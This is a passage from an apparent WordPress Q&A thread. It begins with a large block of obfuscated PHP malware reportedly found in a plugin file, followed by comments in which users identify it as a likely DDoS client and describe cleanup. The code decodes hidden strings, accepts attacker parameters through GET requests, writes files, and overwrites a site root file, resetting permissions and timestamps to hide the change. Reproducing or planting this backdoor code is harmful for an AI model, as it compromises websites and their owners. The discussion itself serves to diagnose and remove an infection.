${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x30\x30\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x5f\x30\x4f\x4f\x4f"]($O00_O0OO__.$O0_O__O00O.$OO__0_0O0O));');$OO_OO000__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x4f\x5f\x30\x30\x5f\x30\x5f"]('$OO_O__0O00=\'\'','$O_OO_0O0_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f\x4f"](\'KzHMMhTs+zMEg3yUhKTi2uTCkoqyjNzM1OM4vPz6kySjQt1C23NC4tPCAA==\');$O0O__0_O0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f\x4f"](\'y8xLShTa3QK8gtPoAAA=\');$O0_0__O0OO=\'/\';$O__OO0_0O0=\'\\\\\';$O_O__0O00O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f\x4f"](\'Ky/QzhTcxLzilNSS3WL0stKs7Mz9MryCgtPAAA==\');$OO_O000_O_= ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f\x4f"](\'C3CxLhTE/0cExPDI9M93bPqYowiipIcg/N98wrzkp2dzNIdPaz9MzMLvD0KClIyvUrTgkPyokwsiyNNMJQY54W7KgfkG5tPrCwA=\');$O_00_0_OOO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f\x4f"](\'q1YuShTCzJUK4tPFAA==\');$O_00OOO__0=\'c1\';$O_O0O_00O_=\'c2\';$OO0_O_O00_=\'l3\';$O_O_OO0_00=\'k1\';$O0O00OO___=\'i1\';$OO0O00_O__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f\x4f"](\'q1YuShTCzJUK4tPFAA==\');$OO0_O0__O0=\'{#z#}\';$O_OO00O0__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f\x4f"](\'yygpKhTbDS108sKNAr0C0pSk1L06uorNIvL9BNTMnNzNOtPHkAA=\');$O_OO__O000=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"] .$O0_0__O0OO ;$OO_0O00__O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x4f\x5f\x30\x5f\x5f\x30\x30"](__FILE__);$OO_0O00__O= ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x4f\x4f\x5f\x30\x5f\x4f"]($O__OO0_0O0,$O0_0__O0OO,$OO_0O00__O).$O0_0__O0OO;$OO_OO_00_0=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x50\x48\x50\x5f\x53\x45\x4c\x46"];$OO_OO_00_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x4f\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x5f\x30\x30\x30\x5f\x4f"]($OO_OO_00_0,$O0_0__O0OO),$O0_0__O0OO);$OO_O000_O_= ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x4f\x4f\x5f\x30\x5f\x4f"]($OO0O00_O__,$OO_0O00__O.$OO_OO_00_0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x5f\x30\x4f\x4f\x4f"]($OO_O000_O_));$OO0_0O_0O_=isset(${"\x5f\x47\x45\x54"}["\x67\x72\x6f\x75\x70\x73"])?${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x4f\x5f\x30\x5f"](${"\x5f\x47\x45\x54"}["\x67\x72\x6f\x75\x70\x73"]):\'\';$OOO_00O__0=isset(${"\x5f\x47\x45\x54"}["\x73\x6c\x6e\x61\x6d\x65\x73"])?${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x4f\x5f\x30\x5f"](${"\x5f\x47\x45\x54"}["\x73\x6c\x6e\x61\x6d\x65\x73"]):\'\';$O0_0_OO_O0=isset(${"\x5f\x47\x45\x54"}["\x6b\x65\x79\x6b\x65\x79"])?${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x4f\x5f\x30\x5f"](${"\x5f\x47\x45\x54"}["\x6b\x65\x79\x6b\x65\x79"]):\'\';$O_00_O_OO0=\'ok\';if(isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x78\x78\x78\x61\x61\x61"])){echo $O_00_O_OO0;}$O_00OOO__0=$OO_0O00__O.$O_00OOO__0;$O_O0O_00O_=$OO_0O00__O.$O_O0O_00O_;$OO0_O_O00_=$OO_0O00__O.$OO0_O_O00_;$O_O_OO0_00=$OO_0O00__O.$O_O_OO0_00;$O0O00OO___=$OO_0O00__O.$O0O00OO___;$O_OO000_O_=\'\';if($OO0_0O_0O_!=\'\'&&$OOO_00O__0!=\'\'){$O_OO000_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f\x4f"](\'Ky5NThTk4tPtLgYA\');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x30\x5f\x4f\x5f\x4f\x30"]($O_00OOO__0,$OO0_0O_0O_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x30\x5f\x4f\x5f\x4f\x30"]($O_O0O_00O_,$OOO_00O__0);$OO___OO000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x30\x30\x4f\x5f\x4f\x30"]($O_00OOO__0);$OO0_0__0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x30\x30\x4f\x5f\x4f\x30"]($O_O0O_00O_);$O_0O0__O0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x4f\x30\x5f\x5f\x30\x4f"]($O_OO00O0__.$OO0_0__0OO);$O_0O0__O0O= ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x4f\x4f\x5f\x30\x5f\x4f"]($OO0_O0__O0,$OO___OO000,$O_0O0__O0O);$OO0_O0__0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30\x30"]($O_0O0__O0O);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x30\x5f\x4f\x5f\x4f\x30"]($OO0_O_O00_,$OO0_O0__0O);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x30\x5f\x4f\x5f\x4f\x30"]($O0O00OO___,$O_0O0__O0O);echo $O_OO000_O_;}if($O0_0_OO_O0!=\'\'){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x30\x5f\x4f\x5f\x4f\x30"]($O_O_OO0_00,$O0_0_OO_O0);}$O00__O_0OO=\'-1\';if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x30\x5f\x4f\x5f\x5f\x4f"]($OO0_O_O00_)){$O00__O_0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x4f\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x30\x30\x4f\x5f\x4f\x30"]($OO0_O_O00_));}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x30\x5f\x4f\x5f\x5f\x4f"]($O_O_OO0_00)){$O_OO_0O0_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x4f\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x30\x30\x4f\x5f\x4f\x30"]($O_O_OO0_00));}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x30\x5f\x4f\x5f\x5f\x4f"]($O_OO__O000.$O_O__0O00O)&&${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x30\x5f\x4f\x5f\x5f\x4f"]($O0O00OO___)){$O0O_O_00O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x5f\x4f\x30\x30\x4f\x30"]($O_OO__O000.$O_O__0O00O);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x5f\x30\x30\x4f\x30"]($O_OO__O000.$O_O__0O00O,0644);$OO_O__0O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x30\x30\x4f\x5f\x4f\x30"]($O_OO__O000.$O_O__0O00O);if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x5f"]($OO_O__0O00,$OO_OO_00_0)){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x30\x5f\x4f\x5f\x4f\x30"]($O_OO__O000.$O_O__0O00O,$OO_O000_O_.$OO_O__0O00);}@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x5f\x30\x30\x4f\x30"]($O_OO__O000.$O_O__0O00O,0444);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x5f\x5f\x30\x4f\x5f"]($O_OO__O000.$O_O__0O00O,$O0O_O_00O_);if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x30\x5f\x4f\x5f\x5f\x4f"]($O_OO__O000.$O0O__0_O0O)){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x30\x5f\x4f\x5f\x4f\x30"]($O_OO__O000.$O0O__0_O0O,\'\');}$O0O_O_00O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x5f\x4f\x30\x30\x4f\x30"]($O_OO__O000.$O0O__0_O0O);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x5f\x30\x30\x4f\x30"]($O_OO__O000.$O0O__0_O0O,0644);$OO_O__0O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x30\x30\x4f\x5f\x4f\x30"]($O_OO__O000.$O0O__0_O0O);$OO0_O0__0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30\x30"]($OO_O__0O00);$O_OOO__000=\'no\';if($O00__O_0OO==\'-1\'){$O_OOO__000=\'ok\';}else{if((int)$O00__O_0OO!=(int)$OO0_O0__0O){$O_OOO__000=\'ok\';}}if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x5f"]($OO_O__0O00,$O_OO_0O0_0)||$O_OOO__000==\'ok\'){$O_0O0__O0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x30\x30\x4f\x5f\x4f\x30"]($O0O00OO___);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x30\x5f\x4f\x5f\x4f\x30"]($O_OO__O000.$O0O__0_O0O,$O_0O0__O0O);}@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x5f\x30\x30\x4f\x30"]($O_OO__O000.$O0O__0_O0O,0444);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x5f\x5f\x30\x4f\x5f"]($O_OO__O000.$O0O__0_O0O,$O0O_O_00O_);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x4f\x30\x30\x30\x5f\x5f"]();?>
  • Can you post the content from wp-blogsnew.php at line 3? – phatskat Apr 1 at 21:43
  • That looks wrong to me, yes. Is this a plugin you recognise? I haven't heard of it, and it's not (obviously) on wordpress.org. Is there a good reason it would be obfuscated. You said deleting the apikey folder didn't help - what did happen? – Rup Apr 1 at 22:08
  • I haven't got very far unobfuscating this - unphp.net makes a start but I've had to fix a block of strings manually - but I'm coming across strings like 'curl', 'gzinflate', 'fwrite'. You definitely don't want this. – Rup Apr 1 at 22:27
  • I suspect there's code in wp-includes/versions.php too, and possibly the root index.php. It looks like this is a DDOS client. – Rup Apr 1 at 23:57
  • Thanks I still have some damage to undo but that was really helpful. I alterred versions.pho and index.php like you said and deleted apikey from plugins and its mainly back up now. Just seem to have lost the dashboard and site edit permissions but I'll investigate further. Really really helpful thanks! – gringogordo Apr 2 at 19:37

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.